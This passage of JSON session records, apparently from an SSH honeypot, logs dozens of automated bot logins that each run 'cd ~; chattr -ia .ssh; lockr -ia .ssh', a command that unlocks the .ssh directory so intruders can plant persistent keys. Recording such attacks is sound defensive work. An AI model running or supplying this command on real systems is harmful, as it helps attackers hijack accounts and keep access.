"probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T12:46:55.530790+00:00", "ended_at": "2026-08-26T12:46:56.544114+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2250 }, { "id": "b4003f62-4efb-45ee-993b-df2d0b2a7ee8", "name": "peaty-quartz-tamarin", "protocol": "ssh", "channel_kind": "exec", "src_ip": "103.167.89.222", "src_port": 48094, "username": "pokemon", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 873, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T12:45:19.307141+00:00", "ended_at": "2026-08-26T12:45:20.818277+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2256 }, { "id": "9a5e1788-d8a5-4ac0-8a2a-4c6e1949b2c2", "name": "earnest-loyal-greenfinch", "protocol": "ssh", "channel_kind": "exec", "src_ip": "165.154.12.137", "src_port": 55832, "username": "default", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 613, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T12:42:47.442051+00:00", "ended_at": "2026-08-26T12:42:48.198826+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2256 }, { "id": "f41e76a5-e6b6-44bb-b9b1-b6a5bb9d6ff7", "name": "meadow-genial-catbird", "protocol": "ssh", "channel_kind": "exec", "src_ip": "103.167.89.222", "src_port": 47894, "username": "u1", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 853, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T12:42:46.905584+00:00", "ended_at": "2026-08-26T12:42:48.039184+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2245 }, { "id": "c8bf84ca-d9ed-4a77-8bff-bcb166829e87", "name": "fabled-loyal-gecko", "protocol": "ssh", "channel_kind": "exec", "src_ip": "103.167.89.222", "src_port": 47700, "username": "nitin", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 886, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T12:40:09.299509+00:00", "ended_at": "2026-08-26T12:40:10.905325+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2258 }, { "id": "3b498e4d-af38-489e-a312-1059578ef19f", "name": "ivory-languid-coyote", "protocol": "ssh", "channel_kind": "exec", "src_ip": "103.167.89.222", "src_port": 47502, "username": "al", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 863, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T12:37:29.600578+00:00", "ended_at": "2026-08-26T12:37:31.337338+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2249 }, { "id": "5e2cd64b-311b-46d2-a968-81bcb3cce1c4", "name": "bashful-primal-walrus", "protocol": "ssh", "channel_kind": "exec", "src_ip": "103.167.89.222", "src_port": 47294, "username": "deploy", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 861, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T12:34:38.057535+00:00", "ended_at": "2026-08-26T12:34:39.429294+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2255 }, { "id": "eb27f786-f25a-4b14-851a-9c3d83201752", "name": "russet-granite-pika", "protocol": "ssh", "channel_kind": "exec", "src_ip": "103.167.89.222", "src_port": 47094, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 844, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T12:31:47.892818+00:00", "ended_at": "2026-08-26T12:31:49.654955+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2304 }, { "id": "0d06f611-316d-4998-9197-dca43e2f1d03", "name": "autumn-gleaming-blackbird", "protocol": "ssh", "channel_kind": "exec", "src_ip": "103.167.89.222", "src_port": 46894, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 879, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T12:28:54.695359+00:00", "ended_at": "2026-08-26T12:28:56.430434+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2304 }, { "id": "90967c2e-631d-4651-b13d-c1a3a302f9ba", "name": "hushed-daring-anteater", "protocol": "ssh", "channel_kind": "exec", "src_ip": "103.167.89.222", "src_port": 46696, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 878, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T12:26:11.600364+00:00", "ended_at": "2026-08-26T12:26:12.993685+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2304 }, { "id": "f3bffe3a-f925-4cb0-881b-fadd46ae51f4", "name": "austere-gnarled-nightjar", "protocol": "ssh", "channel_kind": "exec", "src_ip": "165.154.12.137", "src_port": 60674, "username": "debian", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 594, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T12:25:26.582652+00:00", "ended_at": "2026-08-26T12:25:27.329372+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2253 }, { "id": "a79afc1b-5d67-4372-91b6-cf26228ad2c8", "name": "verdant-lanky-wallaby", "protocol": "ssh", "channel_kind": "exec", "src_ip": "103.167.89.222", "src_port": 46502, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 859, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T12:23:35.889598+00:00", "ended_at": "2026-08-26T12:23:37.501096+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2302 }, { "id": "5105c764-41be-4799-9919-317103f5e077", "name": "gleaming-daring-koala", "protocol": "ssh", "channel_kind": "exec", "src_ip": "103.167.89.222", "src_port": 46286, "username": "junin", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 866, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T12:20:52.729954+00:00", "ended_at": "2026-08-26T12:20:53.790316+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2250 }, { "id": "cf2acddd-96f5-4f8f-a250-7235fafc5f74", "name": "quartz-merry-fieldfare", "protocol": "ssh", "channel_kind": "exec", "src_ip": "103.167.89.222", "src_port": 46086, "username": "casa", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 866, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T12:18:12.687619+00:00", "ended_at": "2026-08-26T12:18:13.899076+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2234 }, { "id": "73863ef6-1f6f-4897-af45-1c5a57f6396d", "name": "genial-bold-lemur", "protocol": "ssh", "channel_kind": "exec", "src_ip": "165.154.12.137", "src_port": 39626, "username": "andrey", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 601, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T12:16:47.678353+00:00", "ended_at": "2026-08-26T12:16:48.455967+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2245 }, { "id": "8214b350-ff89-48e2-8fc9-1322ba610469", "name": "proud-granite-hyrax", "protocol": "ssh", "channel_kind": "exec", "src_ip": "103.167.89.222", "src_port": 45894, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 841, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T12:15:22.489710+00:00", "ended_at": "2026-08-26T12:15:23.905239+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2282 }, { "id": "41ec9c90-cb07-4820-bc0c-b2b99517f0b6", "name": "chilly-ancient-fossa", "protocol": "ssh", "channel_kind": "exec", "src_ip": "103.167.89.222", "src_port": 45700, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 857, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T12:12:36.692031+00:00", "ended_at": "2026-08-26T12:12:38.092738+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2271 }, { "id": "e0c20725-4736-4499-b6ce-c3d0651e2e49", "name": "seaward-rapid-agouti", "protocol": "ssh", "channel_kind": "exec", "src_ip": "165.154.12.137", "src_port": 41226, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 589, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T12:12:32.222078+00:00", "ended_at": "2026-08-26T12:12:33.043134+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2302 }, { "id": "d88fad72-1dfe-4cd0-89ea-e697cf6dd402", "name": "wiry-tangled-bison", "protocol": "ssh", "channel_kind": "exec", "src_ip": "103.167.89.222", "src_port": 45496, "username": "prashant", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 841, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T12:09:47.414572+00:00", "ended_at": "2026-08-26T12:09:49.015012+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2215 }, { "id": "98961eec-94b9-4f7a-b4e8-1e69d08563d7", "name": "frank-lunar-eagle", "protocol": "ssh", "channel_kind": "exec", "src_ip": "103.167.89.222", "src_port": 45302, "username": "lg", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 877, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T12:07:03.286379+00:00", "ended_at": "2026-08-26T12:07:04.427112+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2186 }, { "id": "b2fde54a-8381-4551-aaaf-6641981b61a8", "name": "dewy-gallant-redstart", "protocol": "ssh", "channel_kind": "exec", "src_ip": "103.167.89.222", "src_port": 45100, "username": "user", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 843, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T12:04:21.388571+00:00", "ended_at": "2026-08-26T12:04:22.525117+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2189 }, { "id": "cb59183a-5bca-49a1-8223-53960a98c1b9", "name": "crystal-watchful-dingo", "protocol": "ssh", "channel_kind": "exec", "src_ip": "103.167.89.222", "src_port": 44894, "username": "test", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 875, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T12:01:41.488922+00:00", "ended_at": "2026-08-26T12:01:43.152346+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2188 }, { "id": "3ae2fa13-ef6b-42df-b6d1-bbf77f59b35c", "name": "frosty-regal-jay", "protocol": "ssh", "channel_kind": "exec", "src_ip": "103.167.89.222", "src_port": 44698, "username": "adminftp", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 865, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T11:59:05.004575+00:00", "ended_at": "2026-08-26T11:59:06.357144+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2169 }, { "id": "a6c25b61-030a-4071-9e90-ee0ef194f6e3", "name": "bashful-lawful-peccary", "protocol": "ssh", "channel_kind": "exec", "src_ip": "103.167.89.222", "src_port": 44498, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 860, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T11:56:22.503415+00:00", "ended_at": "2026-08-26T11:56:24.329787+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2205 }, { "id": "72340123-0afd-4c21-94bc-705c262a2b6a", "name": "western-blunt-vervet", "protocol": "ssh", "channel_kind": "exec", "src_ip": "103.167.89.222", "src_port": 44304, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 873, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T11:53:43.692781+00:00", "ended_at": "2026-08-26T11:53:45.296546+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2194 }, { "id": "752cd0da-2b55-47ec-847f-155887edd22d", "name": "fleeting-loyal-grouse", "protocol": "ssh", "channel_kind": "exec", "src_ip": "103.167.89.222", "src_port": 44100, "username": "vmuser", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 884, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T11:51:06.242750+00:00", "ended_at": "2026-08-26T11:51:07.694793+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2136 }, { "id": "5ccf32f3-cbe9-4adf-8fe7-23943a53de80", "name": "woven-amiable-lorikeet", "protocol": "ssh", "channel_kind": "exec", "src_ip": "103.167.89.222", "src_port": 43898, "username": "deploy", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 864, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T11:48:24.883383+00:00", "ended_at": "2026-08-26T11:48:26.523120+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2129 }, { "id": "f7d9723b-5f85-4c76-b6e4-0d452896095e", "name": "wooded-amiable-kea", "protocol": "ssh", "channel_kind": "exec", "src_ip": "165.154.12.137", "src_port": 36580, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 587, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T11:46:38.727558+00:00", "ended_at": "2026-08-26T11:46:40.939886+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2302 }, { "id": "efda98f5-9861-49eb-9297-205440d44688", "name": "spirited-ashen-chough", "protocol": "ssh", "channel_kind": "exec", "src_ip": "103.167.89.222", "src_port": 43698, "username": "www", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 873, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T11:45:49.197397+00:00", "ended_at": "2026-08-26T11:45:50.712730+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2113 }, { "id": "2f739557-5a93-47b5-af38-f229af1575a9", "name": "northern-scarlet-gharial", "protocol": "ssh", "channel_kind": "exec", "src_ip": "103.167.89.222", "src_port": 43498, "username": "tmpuser", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 848, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T11:43:02.590725+00:00", "ended_at": "2026-08-26T11:43:04.236263+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2102 }, { "id": "5af68a09-f49c-452e-961c-a92307f8d3a6", "name": "scarlet-tranquil-flamingo", "protocol": "ssh", "channel_kind": "exec", "src_ip": "165.154.12.137", "src_port": 43750, "username": "bill", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 594, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T11:42:02.270195+00:00", "ended_at": "2026-08-26T11:42:02.954243+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2251 }, { "id": "c88a40df-a844-48ad-9d3a-19291ed8dc4e", "name": "salty-weathered-alpaca", "protocol": "ssh", "channel_kind": "exec", "src_ip": "103.167.89.222", "src_port": 43304, "username": "ec2-user", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 847, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T11:40:23.703335+00:00", "ended_at": "2026-08-26T11:40:24.998012+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2092 }, { "id": "949d19fb-cc2f-454b-ae88-9ccf8f1e9195", "name": "cheerful-clever-condor", "protocol": "ssh", "channel_kind": "exec", "src_ip": "103.167.89.222", "src_port": 43102, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 862, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T11:37:44.723066+00:00", "ended_at": "2026-08-26T11:37:45.896430+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2128 }, { "id": "297dd5dd-940c-4ec1-8e0e-cdc4a634979f", "name": "gleaming-vernal-hyrax", "protocol": "ssh", "channel_kind": "exec", "src_ip": "165.154.12.137", "src_port": 52474, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 943, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T11:37:43.080918+00:00", "ended_at": "2026-08-26T11:37:43.851050+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2302 }, { "id": "ea3cf1e8-49bb-47b6-9a86-22b48b7b6619", "name": "opal-primal-thrush", "protocol": "ssh", "channel_kind": "exec", "src_ip": "103.167.89.222", "src_port": 42904, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 870, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T11:34:56.688747+00:00", "ended_at": "2026-08-26T11:34:58.126427+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2117 }, { "id": "34f80c5d-ecc3-4c4c-8732-2facfc5f8ece", "name": "gnarled-airy-hummingbird", "protocol": "ssh", "channel_kind": "exec", "src_ip": "103.167.89.222", "src_port": 42708, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 844, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T11:32:10.883641+00:00", "ended_at": "2026-08-26T11:32:11.680381+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2106 }, { "id": "fd738abe-884b-443c-bfd1-c3ea9b6fe0bf", "name": "snowy-forlorn-kestrel", "protocol": "ssh", "channel_kind": "exec", "src_ip": "165.154.12.137", "src_port": 41352, "username": "sgp", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 612, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T11:29:09.002582+00:00", "ended_at": "2026-08-26T11:29:10.410808+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2248 }, { "id": "78c1fc94-4032-40a7-87bb-16f55d6b3ee5", "name": "jovial-earnest-crane", "protocol": "ssh", "channel_kind": "exec", "src_ip": "103.167.89.222", "src_port": 42302, "username": "cgonzalez", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 871, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T11:26:37.896770+00:00", "ended_at": "2026-08-26T11:26:38.924393+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2051 }, { "id": "759c44d5-79aa-42ea-8cc4-e88cff721379", "name": "blithe-merry-muntjac", "protocol": "ssh", "channel_kind": "exec", "src_ip": "165.154.12.137", "src_port": 48552, "username": "dev", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 589, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T11:11:56.398052+00:00", "ended_at": "2026-08-26T11:11:57.985697+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2248 }, { "id": "015fe738-86d0-4600-8fc1-ce1862f46dff", "name": "sullen-rugged-raven", "protocol": "ssh", "channel_kind": "exec", "src_ip": "165.154.12.137", "src_port": 46886, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 585, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T11:07:25.095860+00:00", "ended_at": "2026-08-26T11:07:25.894192+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2291 }, { "id": "79db8206-616c-4adf-b4c2-57332374ccf1", "name": "pristine-freckled-pangolin", "protocol": "ssh", "channel_kind": "exec", "src_ip": "165.154.12.137", "src_port": 33232, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 604, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T11:02:52.624467+00:00", "ended_at": "2026-08-26T11:02:53.299019+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2280 }, { "id": "0582e41e-a6e7-44ff-a77a-c270af0429d1", "name": "diligent-bold-tanager", "protocol": "ssh", "channel_kind": "exec", "src_ip": "165.154.12.137", "src_port": 40602, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 617, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T10:54:26.556075+00:00", "ended_at": "2026-08-26T10:54:27.999283+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2271 }, { "id": "01c754e0-3b90-438c-bada-aba809ae3f87", "name": "flinty-alpine-loris", "protocol": "ssh", "channel_kind": "exec", "src_ip": "165.154.12.137", "src_port": 41778, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 589, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T10:50:02.070375+00:00", "ended_at": "2026-08-26T10:50:02.781088+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2260 }, { "id": "be340f5a-e936-4685-a83a-b2a3bdd9f729", "name": "muted-leafy-dipper", "protocol": "ssh", "channel_kind": "exec", "src_ip": "165.154.12.137", "src_port": 44114, "username": "postmaster", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 606, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T10:45:29.561927+00:00", "ended_at": "2026-08-26T10:45:30.274291+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2196 }, { "id": "1dd6113f-076a-4ab2-ada1-a5ea698ab339", "name": "ginger-lucid-chamois", "protocol": "ssh", "channel_kind": "exec", "src_ip": "165.154.12.137", "src_port": 38334, "username": "tester1", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 618, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T10:36:59.922949+00:00", "ended_at": "2026-08-26T10:37:01.241820+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2188 }, { "id": "33f53130-2244-448b-a647-4ef6efe00ae3", "name": "stoic-solar-harrier", "protocol": "ssh", "channel_kind": "exec", "src_ip": "165.154.12.137", "src_port": 45730, "username": "ftpuser", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 590, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T10:32:40.368925+00:00", "ended_at": "2026-08-26T10:32:42.587422+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2177 }, { "id": "100a3746-1310-476c-b1b4-94bcbf105d1f", "name": "hushed-honest-nuthatch", "protocol": "ssh", "channel_kind": "exec", "src_ip": "165.154.12.137", "src_port": 58910, "username": "arkserver", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 592, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T10:28:27.880116+00:00", "ended_at": "2026-08-26T10:28:29.479578+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2172 }, { "id": "0020239e-8134-4b2a-a3ef-06753559c827", "name": "humble-dappled-bison", "protocol": "ssh", "channel_kind": "exec", "src_ip": "165.154.12.137", "src_port": 51480, "username": "admin", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 615, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T10:23:58.690166+00:00", "ended_at": "2026-08-26T10:24:00.018969+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2159 }, { "id": "f3c633b0-6488-4717-a0f4-c399e02644ca", "name": "cheerful-inland-parakeet", "protocol": "ssh", "channel_kind": "exec", "src_ip": "165.154.12.137", "src_port": 36286, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 616, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T10:19:39.338741+00:00", "ended_at": "2026-08-26T10:19:41.087847+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2194 }, { "id": "eb8e6693-cde6-4fbb-8abb-03ae9efdf0ee", "name": "nameless-western-swallow", "protocol": "ssh", "channel_kind": "exec", "src_ip": "165.154.12.137", "src_port": 38584, "username": "eve", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 595, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T10:15:29.645308+00:00", "ended_at": "2026-08-26T10:15:31.154005+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2123 }, { "id": "621dfc2f-f9ed-4584-aa13-aa1c3a8cb412", "name": "thorny-lonesome-kingfisher", "protocol": "ssh", "channel_kind": "exec", "src_ip": "165.154.12.137", "src_port": 57234, "username": "contact", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 954, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T10:11:10.996306+00:00", "ended_at": "2026-08-26T10:11:12.616810+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2116 }, { "id": "b33232f9-4f46-4df0-a678-2c4b872f85c7", "name": "forlorn-idle-tapir", "protocol": "ssh", "channel_kind": "exec", "src_ip": "165.154.12.137", "src_port": 35348, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 587, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T10:06:36.905884+00:00", "ended_at": "2026-08-26T10:06:37.685000+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2159 }, { "id": "f2ce7150-0e49-4b91-9027-0bd076c2fad5", "name": "ginger-glacial-dingo", "protocol": "ssh", "channel_kind": "exec", "src_ip": "165.154.12.137", "src_port": 35730, "username": "stepan", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 590, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T10:02:17.929850+00:00", "ended_at": "2026-08-26T10:02:18.606257+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2103 }, { "id": 